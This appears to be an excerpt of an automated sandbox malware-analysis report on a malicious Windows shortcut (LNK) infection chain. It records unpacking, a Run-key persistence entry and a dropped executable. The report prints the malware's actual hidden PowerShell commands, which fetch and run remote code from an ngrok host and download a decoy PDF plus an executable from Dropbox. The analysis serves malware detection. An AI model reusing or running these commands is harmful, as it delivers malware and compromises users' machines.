Source:	Binary string: ntdll.pdb source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856559804.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856354642.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1860348370.0000000005210000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856878522.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857059314.0000000005090000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1861225349.0000000005210000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856559804.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856354642.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1860348370.0000000005210000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856878522.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857059314.0000000005090000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1861225349.0000000005210000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: softy.pdbvice source: powershell.exe, 00000016.00000002.1779458649.00000244A8E0F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdbpdblib.pdb< source: powershell.exe, 00000016.00000002.1785789300.0000024CAA383000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb%b{f source: powershell.exe, 00000016.00000002.1785132687.0000024CAA30B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857292037.0000000003050000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857401693.0000000004F70000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1863154029.0000000005210000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1863521668.0000000005330000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857686930.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857899388.0000000005110000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1864884400.0000000005430000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000016.00000002.1785369058.0000024CAA32B000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Unpacked PE file: 28.2.ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.2890000.3.unpack

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }"

Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.22.dr

Static PE information: real checksum: 0x22448d should be: 0x2d97e4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAC464300 push eax; ret	3_2_00007FFAAC46430D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFAAC467C26 push eax; retf	22_2_00007FFAAC467C6D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFAAC468426 pushad ; ret	22_2_00007FFAAC46845D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFAAC46845E push eax; ret	22_2_00007FFAAC46846D
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 28_2_0046A0C9 push ecx; ret	28_2_0046A0DC
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 28_2_00404268 push ebp; retf	28_2_00404269
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0271B86D push ebx; ret	29_3_0271B864
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0271A840 push ebp; retf	29_3_0271A841
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0271E83C pushad ; ret	29_3_0271E841
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0271E80E push eax; iretd	29_3_0271E81D
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0271A0F9 push FFFFFF82h; iretd	29_3_0271A0FB
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0271D8A0 push 0000002Eh; iretd	29_3_0271D8A2
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_02718904 push ecx; ret	29_3_02718917
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0271B1DD push eax; ret	29_3_0271B1DF
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_02719F6A push eax; ret	29_3_02719F75
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0271B70B push ebx; ret	29_3_0271B864
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0271E586 pushad ; retf	29_3_0271E599
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_2_0046A0C9 push ecx; ret	29_2_0046A0DC
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_2_00404268 push ebp; retf	29_2_00404269
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B658BC pushad ; ret	30_3_00B658C1
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B6588E push eax; iretd	30_3_00B6589D
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B628ED push ebx; ret	30_3_00B628E4
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B618C0 push ebp; retf	30_3_00B618C1
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B66012 push 00000038h; iretd	30_3_00B6601D
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B65606 pushad ; retf	30_3_00B65619
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B6225D push eax; ret	30_3_00B6225F
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B6278B push ebx; ret	30_3_00B628E4
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B65FEE push FFFFFFD2h; retf	30_3_00B66011
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B60FEA push eax; ret	30_3_00B60FF5
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B64920 push 0000002Eh; iretd	30_3_00B64922
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 30_3_00B65F0C push es; iretd	30_3_00B65F0D

Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.22.dr	Static PE information: section name: .text entropy: 6.829135429512295
Source: PerfectoUna.exe.28.dr	Static PE information: section name: .text entropy: 6.829135429512295

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

File created: C:\Users\user\Documents\ThaiPerfecto\sdk\PerfectoUna.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	File created: C:\Users\user\Documents\ThaiPerfecto\sdk\PerfectoUna.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Code function: 28_2_004029A0 StartServiceCtrlDispatcherW,GetLastError,

28_2_004029A0

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Nuinsa
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Nuinsa

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
